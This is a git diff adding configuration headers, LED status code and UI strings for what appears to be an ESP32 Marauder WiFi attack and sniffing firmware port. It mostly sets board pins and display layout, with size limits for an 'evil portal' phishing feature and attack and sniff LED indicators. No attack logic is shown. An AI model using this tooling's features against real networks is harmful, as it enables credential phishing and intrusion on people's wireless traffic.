+ #ifdef MARAUDER_MINI
+ #define L_BTN 13
+ #define C_BTN 34
+ #define U_BTN 36
+ #define R_BTN 39
+ #define D_BTN 35
+
+ #define HAS_L
+ #define HAS_R
+ #define HAS_U
+ #define HAS_D
+ #define HAS_C
+
+ #define L_PULL true
+ #define C_PULL true
+ #define U_PULL true
+ #define R_PULL true
+ #define D_PULL true
+ #endif
+
+ #ifdef MARAUDER_M5STICKC
+ #define L_BTN -1
+ #define C_BTN 37
+ #define U_BTN -1
+ #define R_BTN -1
+ #define D_BTN 39
+
+ //#define HAS_L
+ //#define HAS_R
+ //#define HAS_U
+ #define HAS_D
+ #define HAS_C
+
+ #define L_PULL true
+ #define C_PULL true
+ #define U_PULL true
+ #define R_PULL true
+ #define D_PULL true
+ #endif
+
+ #ifdef MARAUDER_V6
+ #define L_BTN -1
+ #define C_BTN 0
+ #define U_BTN -1
+ #define R_BTN -1
+ #define D_BTN -1
+
+ //#define HAS_L
+ //#define HAS_R
+ //#define HAS_U
+ //#define HAS_D
+ #define HAS_C
+
+ #define L_PULL true
+ #define C_PULL true
+ #define U_PULL true
+ #define R_PULL true
+ #define D_PULL true
+ #endif
+
+ #ifdef MARAUDER_V6_1
+ #define L_BTN -1
+ #define C_BTN 0
+ #define U_BTN -1
+ #define R_BTN -1
+ #define D_BTN -1
+
+ //#define HAS_L
+ //#define HAS_R
+ //#define HAS_U
+ //#define HAS_D
+ #define HAS_C
+
+ #define L_PULL true
+ #define C_PULL true
+ #define U_PULL true
+ #define R_PULL true
+ #define D_PULL true
+ #endif
+
+ #endif
+ //// END BUTTON DEFINITIONS
+
+ //// DISPLAY DEFINITIONS
+ #ifdef HAS_SCREEN
+
+ #ifdef MARAUDER_M5STICKC
+ #define SCREEN_CHAR_WIDTH 40
+ //#define TFT_MISO 19
+ #define TFT_MOSI 15
+ #define TFT_SCLK 13
+ #define TFT_CS 5
+ #define TFT_DC 23
+ #define TFT_RST 18
+ #define TFT_BL -1
+ #define TOUCH_CS -1
+ //#define SD_CS 1
+
+ #define SCREEN_BUFFER
+
+ #define MAX_SCREEN_BUFFER 9
+
+ #define BANNER_TEXT_SIZE 1
+
+ #ifndef TFT_WIDTH
+ #define TFT_WIDTH 135
+ #endif
+
+ #ifndef TFT_HEIGHT
+ #define TFT_HEIGHT 240
+ #endif
+
+ #define CHAR_WIDTH 6
+ #define SCREEN_WIDTH TFT_HEIGHT // Originally 240
+ #define SCREEN_HEIGHT TFT_WIDTH // Originally 320
+ #define HEIGHT_1 TFT_WIDTH
+ #define WIDTH_1 TFT_WIDTH
+ #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+ #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
+ #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+ #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+ #define YMAX TFT_HEIGHT // Bottom of screen area
+ #define minimum(a,b) (((a) < (b)) ? (a) : (b))
+ //#define MENU_FONT NULL
+ #define MENU_FONT &FreeMono9pt7b // Winner
+ //#define MENU_FONT &FreeMonoBold9pt7b
+ //#define MENU_FONT &FreeSans9pt7b
+ //#define MENU_FONT &FreeSansBold9pt7b
+ #define BUTTON_SCREEN_LIMIT 6
+ #define BUTTON_ARRAY_LEN 100
+ #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
+ #define LVGL_TICK_PERIOD 6
+
+ #define FRAME_X 100
+ #define FRAME_Y 64
+ #define FRAME_W 120
+ #define FRAME_H 50
+
+ // Red zone size
+ #define REDBUTTON_X FRAME_X
+ #define REDBUTTON_Y FRAME_Y
+ #define REDBUTTON_W (FRAME_W/2)
+ #define REDBUTTON_H FRAME_H
+
+ // Green zone size
+ #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+ #define GREENBUTTON_Y FRAME_Y
+ #define GREENBUTTON_W (FRAME_W/2)
+ #define GREENBUTTON_H FRAME_H
+
+ #define STATUSBAR_COLOR 0x4A49
+
+ #endif
+
+ #ifdef MARAUDER_V4
+ #define SCREEN_CHAR_WIDTH 40
+ #define HAS_ILI9341
+ #define BANNER_TEXT_SIZE 2
+
+ #ifndef TFT_WIDTH
+ #define TFT_WIDTH 240
+ #endif
+
+ #ifndef TFT_HEIGHT
+ #define TFT_HEIGHT 320
+ #endif
+
+ #define TFT_SHIELD
+
+ #define SCREEN_WIDTH TFT_WIDTH
+ #define SCREEN_HEIGHT TFT_HEIGHT
+ #define HEIGHT_1 TFT_WIDTH
+ #define WIDTH_1 TFT_HEIGHT
+ #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+ #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+ #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+ #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+ #define YMAX 320 // Bottom of screen area
+ #define minimum(a,b) (((a) < (b)) ? (a) : (b))
+ //#define MENU_FONT NULL
+ #define MENU_FONT &FreeMono9pt7b // Winner
+ //#define MENU_FONT &FreeMonoBold9pt7b
+ //#define MENU_FONT &FreeSans9pt7b
+ //#define MENU_FONT &FreeSansBold9pt7b
+ #define BUTTON_SCREEN_LIMIT 12
+ #define BUTTON_ARRAY_LEN 12
+ #define STATUS_BAR_WIDTH 16
+ #define LVGL_TICK_PERIOD 6
+
+ #define FRAME_X 100
+ #define FRAME_Y 64
+ #define FRAME_W 120
+ #define FRAME_H 50
+
+ // Red zone size
+ #define REDBUTTON_X FRAME_X
+ #define REDBUTTON_Y FRAME_Y
+ #define REDBUTTON_W (FRAME_W/2)
+ #define REDBUTTON_H FRAME_H
+
+ // Green zone size
+ #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+ #define GREENBUTTON_Y FRAME_Y
+ #define GREENBUTTON_W (FRAME_W/2)
+ #define GREENBUTTON_H FRAME_H
+
+ #define STATUSBAR_COLOR 0x4A49
+
+ #define KIT_LED_BUILTIN 13
+ #endif
+
+ #if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
+ #define SCREEN_CHAR_WIDTH 40
+ #define HAS_ILI9341
+
+ #define BANNER_TEXT_SIZE 2
+
+ #ifndef TFT_WIDTH
+ #define TFT_WIDTH 240
+ #endif
+
+ #ifndef TFT_HEIGHT
+ #define TFT_HEIGHT 320
+ #endif
+
+ #define TFT_DIY
+
+ #define SCREEN_WIDTH TFT_WIDTH
+ #define SCREEN_HEIGHT TFT_HEIGHT
+ #define HEIGHT_1 TFT_WIDTH
+ #define WIDTH_1 TFT_HEIGHT
+ #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+ #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+ #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+ #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+ #define YMAX 320 // Bottom of screen area
+ #define minimum(a,b) (((a) < (b)) ? (a) : (b))
+ //#define MENU_FONT NULL
+ #define MENU_FONT &FreeMono9pt7b // Winner
+ //#define MENU_FONT &FreeMonoBold9pt7b
+ //#define MENU_FONT &FreeSans9pt7b
+ //#define MENU_FONT &FreeSansBold9pt7b
+ #define BUTTON_SCREEN_LIMIT 12
+ #define BUTTON_ARRAY_LEN 12
+ #define STATUS_BAR_WIDTH 16
+ #define LVGL_TICK_PERIOD 6
+
+ #define FRAME_X 100
+ #define FRAME_Y 64
+ #define FRAME_W 120
+ #define FRAME_H 50
+
+ // Red zone size
+ #define REDBUTTON_X FRAME_X
+ #define REDBUTTON_Y FRAME_Y
+ #define REDBUTTON_W (FRAME_W/2)
+ #define REDBUTTON_H FRAME_H
+
+ // Green zone size
+ #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+ #define GREENBUTTON_Y FRAME_Y
+ #define GREENBUTTON_W (FRAME_W/2)
+ #define GREENBUTTON_H FRAME_H
+
+ #define STATUSBAR_COLOR 0x4A49
+
+ #define KIT_LED_BUILTIN 13
+ #endif
+
+ #ifdef MARAUDER_KIT
+ #define SCREEN_CHAR_WIDTH 40
+ #define HAS_ILI9341
+
+ #define BANNER_TEXT_SIZE 2
+
+ #ifndef TFT_WIDTH
+ #define TFT_WIDTH 240
+ #endif
+
+ #ifndef TFT_HEIGHT
+ #define TFT_HEIGHT 320
+ #endif
+
+ #define TFT_DIY
+ #define KIT
+
+ #define SCREEN_WIDTH TFT_WIDTH
+ #define SCREEN_HEIGHT TFT_HEIGHT
+ #define HEIGHT_1 TFT_WIDTH
+ #define WIDTH_1 TFT_HEIGHT
+ #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+ #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+ #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+ #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+ #define YMAX 320 // Bottom of screen area
+ #define minimum(a,b) (((a) < (b)) ? (a) : (b))
+ //#define MENU_FONT NULL
+ #define MENU_FONT &FreeMono9pt7b // Winner
+ //#define MENU_FONT &FreeMonoBold9pt7b
+ //#define MENU_FONT &FreeSans9pt7b
+ //#define MENU_FONT &FreeSansBold9pt7b
+ #define BUTTON_SCREEN_LIMIT 12
+ #define BUTTON_ARRAY_LEN 12
+ #define STATUS_BAR_WIDTH 16
+ #define LVGL_TICK_PERIOD 6
+
+ #define FRAME_X 100
+ #define FRAME_Y 64
+ #define FRAME_W 120
+ #define FRAME_H 50
+
+ // Red zone size
+ #define REDBUTTON_X FRAME_X
+ #define REDBUTTON_Y FRAME_Y
+ #define REDBUTTON_W (FRAME_W/2)
+ #define REDBUTTON_H FRAME_H
+
+ // Green zone size
+ #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+ #define GREENBUTTON_Y FRAME_Y
+ #define GREENBUTTON_W (FRAME_W/2)
+ #define GREENBUTTON_H FRAME_H
+
+ #define STATUSBAR_COLOR 0x4A49
+
+ #define KIT_LED_BUILTIN 13
+ #endif
+
+ #ifdef MARAUDER_MINI
+ #define SCREEN_CHAR_WIDTH 40
+ #define TFT_MISO 19
+ #define TFT_MOSI 23
+ #define TFT_SCLK 18
+ #define TFT_CS 27
+ #define TFT_DC 26
+ #define TFT_RST 5
+ #define TFT_BL 32
+ #define TOUCH_CS 21
+ #define SD_CS 4
+
+ #define SCREEN_BUFFER
+
+ #define MAX_SCREEN_BUFFER 9
+
+ #define BANNER_TEXT_SIZE 1
+
+ #ifndef TFT_WIDTH
+ #define TFT_WIDTH 128
+ #endif
+
+ #ifndef TFT_HEIGHT
+ #define TFT_HEIGHT 128
+ #endif
+
+ #define CHAR_WIDTH 6
+ #define SCREEN_WIDTH TFT_WIDTH // Originally 240
+ #define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
+ #define HEIGHT_1 TFT_WIDTH
+ #define WIDTH_1 TFT_WIDTH
+ #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+ #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
+ #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+ #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+ #define YMAX TFT_HEIGHT // Bottom of screen area
+ #define minimum(a,b) (((a) < (b)) ? (a) : (b))
+ //#define MENU_FONT NULL
+ #define MENU_FONT &FreeMono9pt7b // Winner
+ //#define MENU_FONT &FreeMonoBold9pt7b
+ //#define MENU_FONT &FreeSans9pt7b
+ //#define MENU_FONT &FreeSansBold9pt7b
+ #define BUTTON_SCREEN_LIMIT 10
+ #define BUTTON_ARRAY_LEN 100
+ #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
+ #define LVGL_TICK_PERIOD 6
+
+ #define FRAME_X 100
+ #define FRAME_Y 64
+ #define FRAME_W 120
+ #define FRAME_H 50
+
+ // Red zone size
+ #define REDBUTTON_X FRAME_X
+ #define REDBUTTON_Y FRAME_Y
+ #define REDBUTTON_W (FRAME_W/2)
+ #define REDBUTTON_H FRAME_H
+
+ // Green zone size
+ #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+ #define GREENBUTTON_Y FRAME_Y
+ #define GREENBUTTON_W (FRAME_W/2)
+ #define GREENBUTTON_H FRAME_H
+
+ #define STATUSBAR_COLOR 0x4A49
+ #endif
+
+ #ifdef MARAUDER_REV_FEATHER
+ #define SCREEN_CHAR_WIDTH 40
+ //#define TFT_MISO 37
+ //#define TFT_MOSI 35
+ //#define TFT_SCLK 36
+ #define TFT_CS 42
+ #define TFT_DC 40
+ #define TFT_RST 41
+ #define TFT_BL 45
+ //#define TOUCH_CS 21
+ #define SD_CS 4
+
+ #define SCREEN_BUFFER
+
+ #define MAX_SCREEN_BUFFER 9
+
+ #define BANNER_TEXT_SIZE 1
+
+ #ifndef TFT_WIDTH
+ #define TFT_WIDTH 240
+ #endif
+
+ #ifndef TFT_HEIGHT
+ #define TFT_HEIGHT 135
+ #endif
+
+ #define CHAR_WIDTH 6
+ #define SCREEN_WIDTH TFT_WIDTH // Originally 240
+ #define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
+ #define HEIGHT_1 TFT_WIDTH
+ #define WIDTH_1 TFT_WIDTH
+ #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+ #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
+ #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+ #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+ #define YMAX TFT_HEIGHT // Bottom of screen area
+ #define minimum(a,b) (((a) < (b)) ? (a) : (b))
+ //#define MENU_FONT NULL
+ #define MENU_FONT &FreeMono9pt7b // Winner
+ //#define MENU_FONT &FreeMonoBold9pt7b
+ //#define MENU_FONT &FreeSans9pt7b
+ //#define MENU_FONT &FreeSansBold9pt7b
+ #define BUTTON_SCREEN_LIMIT 5
+ #define BUTTON_ARRAY_LEN 100
+ #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
+ #define LVGL_TICK_PERIOD 6
+
+ #define FRAME_X 100
+ #define FRAME_Y 64
+ #define FRAME_W 120
+ #define FRAME_H 50
+
+ // Red zone size
+ #define REDBUTTON_X FRAME_X
+ #define REDBUTTON_Y FRAME_Y
+ #define REDBUTTON_W (FRAME_W/2)
+ #define REDBUTTON_H FRAME_H
+
+ // Green zone size
+ #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+ #define GREENBUTTON_Y FRAME_Y
+ #define GREENBUTTON_W (FRAME_W/2)
+ #define GREENBUTTON_H FRAME_H
+
+ #define STATUSBAR_COLOR 0x4A49
+ #endif
+
+ #endif
+ //// END DISPLAY DEFINITIONS
+
+ //// MENU DEFINITIONS
+ #ifdef MARAUDER_V4
+ #define BANNER_TIME 100
+
+ #define COMMAND_PREFIX "!"
+
+ // Keypad start position, key sizes and spacing
+ #define KEY_X 120 // Centre of key
+ #define KEY_Y 50
+ #define KEY_W 240 // Width and height
+ #define KEY_H 22
+ #define KEY_SPACING_X 0 // X and Y gap
+ #define KEY_SPACING_Y 1
+ #define KEY_TEXTSIZE 1 // Font size multiplier
+ #define ICON_W 22
+ #define ICON_H 22
+ #define BUTTON_PADDING 22
+ //#define BUTTON_ARRAY_LEN 5
+ #endif
+
+ #if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
+ #define BANNER_TIME 100
+
+ #define COMMAND_PREFIX "!"
+
+ // Keypad start position, key sizes and spacing
+ #define KEY_X 120 // Centre of key
+ #define KEY_Y 50
+ #define KEY_W 240 // Width and height
+ #define KEY_H 22
+ #define KEY_SPACING_X 0 // X and Y gap
+ #define KEY_SPACING_Y 1
+ #define KEY_TEXTSIZE 1 // Font size multiplier
+ #define ICON_W 22
+ #define ICON_H 22
+ #define BUTTON_PADDING 22
+ //#define BUTTON_ARRAY_LEN 5
+ #endif
+
+ #ifdef MARAUDER_KIT
+ #define BANNER_TIME 100
+
+ #define COMMAND_PREFIX "!"
+
+ // Keypad start position, key sizes and spacing
+ #define KEY_X 120 // Centre of key
+ #define KEY_Y 50
+ #define KEY_W 240 // Width and height
+ #define KEY_H 22
+ #define KEY_SPACING_X 0 // X and Y gap
+ #define KEY_SPACING_Y 1
+ #define KEY_TEXTSIZE 1 // Font size multiplier
+ #define ICON_W 22
+ #define ICON_H 22
+ #define BUTTON_PADDING 22
+ //#define BUTTON_ARRAY_LEN 5
+ #endif
+
+ #ifdef MARAUDER_MINI
+ #define BANNER_TIME 50
+
+ #define COMMAND_PREFIX "!"
+
+ // Keypad start position, key sizes and spacing
+ #define KEY_X (TFT_WIDTH/2) // Centre of key
+ #define KEY_Y (TFT_HEIGHT/4.5)
+ #define KEY_W TFT_WIDTH // Width and height
+ #define KEY_H (TFT_HEIGHT/12.8)
+ #define KEY_SPACING_X 0 // X and Y gap
+ #define KEY_SPACING_Y 1
+ #define KEY_TEXTSIZE 1 // Font size multiplier
+ #define ICON_W 22
+ #define ICON_H 22
+ #define BUTTON_PADDING 10
+ #endif
+
+ #ifdef MARAUDER_REV_FEATHER
+ #define BANNER_TIME 50
+
+ #define COMMAND_PREFIX "!"
+
+ // Keypad start position, key sizes and spacing
+ #define KEY_X (TFT_WIDTH/2) // Centre of key
+ #define KEY_Y (TFT_HEIGHT/4.5)
+ #define KEY_W TFT_WIDTH // Width and height
+ #define KEY_H (TFT_HEIGHT/12.8)
+ #define KEY_SPACING_X 0 // X and Y gap
+ #define KEY_SPACING_Y 1
+ #define KEY_TEXTSIZE 1 // Font size multiplier
+ #define ICON_W 22
+ #define ICON_H 22
+ #define BUTTON_PADDING 10
+ #endif
+
+ #ifdef MARAUDER_M5STICKC
+ #define BANNER_TIME 50
+
+ #define COMMAND_PREFIX "!"
+
+ // Keypad start position, key sizes and spacing
+ #define KEY_X (TFT_WIDTH/2) // Centre of key
+ #define KEY_Y (TFT_HEIGHT/5)
+ #define KEY_W TFT_HEIGHT // Width and height
+ #define KEY_H (TFT_HEIGHT/17)
+ #define KEY_SPACING_X 0 // X and Y gap
+ #define KEY_SPACING_Y 1
+ #define KEY_TEXTSIZE 1 // Font size multiplier
+ #define ICON_W 22
+ #define ICON_H 22
+ #define BUTTON_PADDING 60
+ #endif
+ //// END MENU DEFINITIONS
+
+ //// SD DEFINITIONS
+ #if defined(USE_SD)
+
+ #ifdef MARAUDER_V4
+ #define SD_CS 12
+ #endif
+
+ #ifdef MARAUDER_V6
+ #define SD_CS 12
+ #endif
+
+ #ifdef MARAUDER_V6_1
+ #define SD_CS 14
+ #endif
+
+ #ifdef MARAUDER_KIT
+ #define SD_CS 12
+ #endif
+
+ #ifdef MARAUDER_MINI
+ #define SD_CS 4
+ #endif
+
+ #ifdef MARAUDER_REV_FEATHER
+ #define SD_CS 5
+ #endif
+
+ #ifdef MARAUDER_M5STICKC
+ #define SD_CS -1
+ #endif
+
+ #ifdef MARAUDER_FLIPPER
+ #define SD_CS 10
+ #endif
+
+ #ifdef ESP32_LDDB
+ #define SD_CS 4
+ #endif
+
+ #ifdef MARAUDER_DEV_BOARD_PRO
+ #define SD_CS 4
+ #endif
+
+ #ifdef XIAO_ESP32_S3
+ #define SD_CS 3
+ #endif
+
+ #endif
+ //// END SD DEFINITIONS
+
+ //// SCREEN STUFF
+ #ifndef HAS_SCREEN
+
+ #define TFT_WHITE 0
+ #define TFT_CYAN 0
+ #define TFT_BLUE 0
+ #define TFT_RED 0
+ #define TFT_GREEN 0
+ #define TFT_GREY 0
+ #define TFT_GRAY 0
+ #define TFT_MAGENTA 0
+ #define TFT_VIOLET 0
+ #define TFT_ORANGE 0
+ #define TFT_YELLOW 0
+ #define STANDARD_FONT_CHAR_LIMIT 40
+ #define FLASH_BUTTON -1
+
+ #include
+ #include
+ #include
+ #include "SPIFFS.h"
+ #include "Assets.h"
+
+ #endif
+ //// END SCREEN STUFF
+
+ //// MEMORY LOWER LIMIT STUFF
+ // These values are in bytes
+ #ifdef MARAUDER_M5STICKC
+ #define MEM_LOWER_LIM 20000
+ #elif defined(MARAUDER_MINI)
+ #define MEM_LOWER_LIM 20000
+ #elif defined(MARAUDER_REV_FEATHER)
+ #define MEM_LOWER_LIM 20000
+ #elif defined(MARAUDER_V4)
+ #define MEM_LOWER_LIM 20000
+ #elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
+ #define MEM_LOWER_LIM 20000
+ #elif defined(MARAUDER_KIT)
+ #define MEM_LOWER_LIM 20000
+ #elif defined(GENERIC_ESP32)
+ #define MEM_LOWER_LIM 20000
+ #elif defined(MARAUDER_FLIPPER)
+ #define MEM_LOWER_LIM 20000
+ #elif defined(ESP32_LDDB)
+ #define MEM_LOWER_LIM 20000
+ #elif defined(MARAUDER_DEV_BOARD_PRO)
+ #define MEM_LOWER_LIM 20000
+ #elif defined(XIAO_ESP32_S3)
+ #define MEM_LOWER_LIM 20000
+ #endif
+ //// END MEMORY LOWER LIMIT STUFF
+
+ //// NEOPIXEL STUFF
+ #ifdef HAS_NEOPIXEL_LED
+
+ #if defined(ESP32_LDDB)
+ #define PIN 17
+ #elif defined(MARAUDER_DEV_BOARD_PRO)
+ #define PIN 16
+ #elif defined(MARAUDER_REV_FEATHER)
+ #define PIN 33
+ #else
+ #define PIN 25
+ #endif
+
+ #endif
+ //// END NEOPIXEL STUFF
+
+ //// EVIL PORTAL STUFF
+ #ifdef MARAUDER_M5STICKC
+ #define MAX_HTML_SIZE 11400
+ #elif defined(MARAUDER_MINI)
+ #define MAX_HTML_SIZE 11400
+ #elif defined(MARAUDER_REV_FEATHER)
+ #define MAX_HTML_SIZE 11400
+ #elif defined(MARAUDER_V4)
+ #define MAX_HTML_SIZE 11400
+ #elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
+ #define MAX_HTML_SIZE 11400
+ #elif defined(MARAUDER_KIT)
+ #define MAX_HTML_SIZE 11400
+ #elif defined(GENERIC_ESP32)
+ #define MAX_HTML_SIZE 20000
+ #elif defined(MARAUDER_FLIPPER)
+ #define MAX_HTML_SIZE 20000
+ #elif defined(ESP32_LDDB)
+ #define MAX_HTML_SIZE 20000
+ #elif defined(MARAUDER_DEV_BOARD_PRO)
+ #define MAX_HTML_SIZE 20000
+ #elif defined(XIAO_ESP32_S3)
+ #define MAX_HTML_SIZE 20000
+ #else
+ #define MAX_HTML_SIZE 20000
+ #endif
+ //// END EVIL PORTAL STUFF
+
+ //// GPS STUFF
+ #ifdef HAS_GPS
+ #if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
+ #define GPS_SERIAL_INDEX 2
+ #define GPS_TX 4
+ #define GPS_RX 13
+ #define mac_history_len 512
+ #elif defined(MARAUDER_V4)
+ #define GPS_SERIAL_INDEX 2
+ #define GPS_TX 4
+ #define GPS_RX 13
+ #define mac_history_len 512
+ #elif defined(MARAUDER_KIT)
+ #define GPS_SERIAL_INDEX 2
+ #define GPS_TX 4
+ #define GPS_RX 13
+ #define mac_history_len 512
+ #elif defined(MARAUDER_DEV_BOARD_PRO)
+ #define GPS_SERIAL_INDEX 2
+ #define GPS_TX 21
+ #define GPS_RX 17
+ #define mac_history_len 512
+ #elif defined(MARAUDER_MINI)
+ #define GPS_SERIAL_INDEX 2
+ #define GPS_TX 21
+ #define GPS_RX 22
+ #define mac_history_len 512
+ #elif defined(MARAUDER_FLIPPER)
+ #define GPS_SERIAL_INDEX 1
+ #define GPS_TX 9
+ #define GPS_RX 21
+ #define mac_history_len 512
+ #elif defined(MARAUDER_M5STICKC)
+ #define GPS_SERIAL_INDEX 1
+ #define GPS_TX 33
+ #define GPS_RX 32
+ #define mac_history_len 512
+ #elif defined(MARAUDER_REV_FEATHER)
+ #define GPS_SERIAL_INDEX 1
+ #define GPS_TX 6
+ #define GPS_RX 9
+ #define mac_history_len 512
+ #endif
+ #else
+ #define mac_history_len 512
+ #endif
+ //// END GPS STUFF
+
+ //// MARAUDER TITLE STUFF
+ #ifdef MARAUDER_V4
+ #define MARAUDER_TITLE_BYTES 13578
+ #elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
+ #define MARAUDER_TITLE_BYTES 13578
+ #elif defined(MARAUDER_KIT)
+ #define MARAUDER_TITLE_BYTES 13578
+ #elif defined(MARAUDER_MINI)
+ #define MARAUDER_TITLE_BYTES 13578
+ #elif defined(MARAUDER_REV_FEATHER)
+ #define MARAUDER_TITLE_BYTES 13578
+ #else
+ #define MARAUDER_TITLE_BYTES 13578
+ #endif
+ //// END MARAUDER TITLE STUFF
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/data/marauder3L.jpg b/S2Mini_esp32_v1.0.0_marauder/data/marauder3L.jpg
new file mode 100644
index 0000000..7fff663
Binary files /dev/null and b/S2Mini_esp32_v1.0.0_marauder/data/marauder3L.jpg differ
diff --git a/S2Mini_esp32_v1.0.0_marauder/data/marauder3L1.jpg b/S2Mini_esp32_v1.0.0_marauder/data/marauder3L1.jpg
new file mode 100644
index 0000000..eedd5eb
Binary files /dev/null and b/S2Mini_esp32_v1.0.0_marauder/data/marauder3L1.jpg differ
diff --git a/S2Mini_esp32_v1.0.0_marauder/data/marauder_mini.jpg b/S2Mini_esp32_v1.0.0_marauder/data/marauder_mini.jpg
new file mode 100644
index 0000000..658b663
Binary files /dev/null and b/S2Mini_esp32_v1.0.0_marauder/data/marauder_mini.jpg differ
diff --git a/S2Mini_esp32_v1.0.0_marauder/flipperLED.cpp b/S2Mini_esp32_v1.0.0_marauder/flipperLED.cpp
new file mode 100644
index 0000000..1df21c3
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/flipperLED.cpp
@@ -0,0 +1,61 @@
+#include "flipperLED.h"
+
+void flipperLED::RunSetup() {
+ pinMode(B_PIN, OUTPUT);
+ pinMode(G_PIN, OUTPUT);
+ pinMode(R_PIN, OUTPUT);
+
+ if (!settings_obj.loadSetting("EnableLED")) {
+ digitalWrite(B_PIN, HIGH);
+ digitalWrite(G_PIN, HIGH);
+ digitalWrite(R_PIN, HIGH);
+ return;
+ }
+
+ delay(50);
+
+ digitalWrite(B_PIN, LOW);
+ delay(500);
+ digitalWrite(B_PIN, HIGH);
+ digitalWrite(G_PIN, LOW);
+ delay(500);
+ digitalWrite(G_PIN, HIGH);
+ digitalWrite(R_PIN, LOW);
+ delay(500);
+ digitalWrite(R_PIN, HIGH);
+}
+
+void flipperLED::attackLED() {
+ if (!settings_obj.loadSetting("EnableLED"))
+ return;
+
+ digitalWrite(B_PIN, HIGH);
+ digitalWrite(G_PIN, HIGH);
+ digitalWrite(R_PIN, HIGH);
+ delay(10);
+ digitalWrite(R_PIN, LOW);
+}
+
+void flipperLED::sniffLED() {
+ if (!settings_obj.loadSetting("EnableLED"))
+ return;
+
+ digitalWrite(B_PIN, HIGH);
+ digitalWrite(G_PIN, HIGH);
+ digitalWrite(R_PIN, HIGH);
+ delay(10);
+ digitalWrite(B_PIN, LOW);
+}
+
+void flipperLED::offLED() {
+ if (!settings_obj.loadSetting("EnableLED"))
+ return;
+
+ digitalWrite(B_PIN, HIGH);
+ digitalWrite(G_PIN, HIGH);
+ digitalWrite(R_PIN, HIGH);
+}
+
+void flipperLED::main() {
+ // do nothing
+}
\ No newline at end of file
diff --git a/S2Mini_esp32_v1.0.0_marauder/flipperLED.h b/S2Mini_esp32_v1.0.0_marauder/flipperLED.h
new file mode 100644
index 0000000..e6efe27
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/flipperLED.h
@@ -0,0 +1,27 @@
+#pragma once
+
+#ifndef flipperLED_h
+#define flipperLED_h
+
+#include "configs.h"
+#include "settings.h"
+
+#include
+
+#define B_PIN 4
+#define G_PIN 5
+#define R_PIN 6
+
+extern Settings settings_obj;
+
+class flipperLED {
+
+ public:
+ void RunSetup();
+ void main();
+ void attackLED();
+ void sniffLED();
+ void offLED();
+};
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/lang_var.h b/S2Mini_esp32_v1.0.0_marauder/lang_var.h
new file mode 100644
index 0000000..3b4ffc3
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/lang_var.h
@@ -0,0 +1,190 @@
+#pragma once
+
+#ifndef lang_var_h
+#define lang_var_h
+
+
+#include "configs.h"
+
+//Starting window texts
+PROGMEM const char text0_0[] = "Giving room for HardwareSerial...";
+PROGMEM const char text0_1[] = "Started Serial";
+PROGMEM const char text0_2[] = "Checked RAM";
+PROGMEM const char text0_3[] = "Initialized SD Card";
+PROGMEM const char text0_4[] = "Failed to Initialize SD Card";
+PROGMEM const char text0_5[] = "Checked battery configuration";
+PROGMEM const char text0_6[] = "Initialized temperature interface";
+PROGMEM const char text0_7[] = "Initialized LED Interface";
+PROGMEM const char text0_8[] = "Starting...";
+
+//Single library (action) texts/Often used
+PROGMEM const char text00[] = "Battery Level changed: ";
+PROGMEM const char text01[] = "file closed";
+PROGMEM const char text02[] = "Failed to open file '";
+PROGMEM const char text03[] = "ON";
+PROGMEM const char text04[] = "OFF";
+PROGMEM const char text05[] = "Load";
+PROGMEM const char text06[] = "Save As";
+PROGMEM const char text07[] = "Exit";
+PROGMEM const char text08[] = "Settings";
+PROGMEM const char text09[] = "Back";
+PROGMEM const char text10[] = "Channel:";
+PROGMEM const char text11[] = "Touch screen to exit";
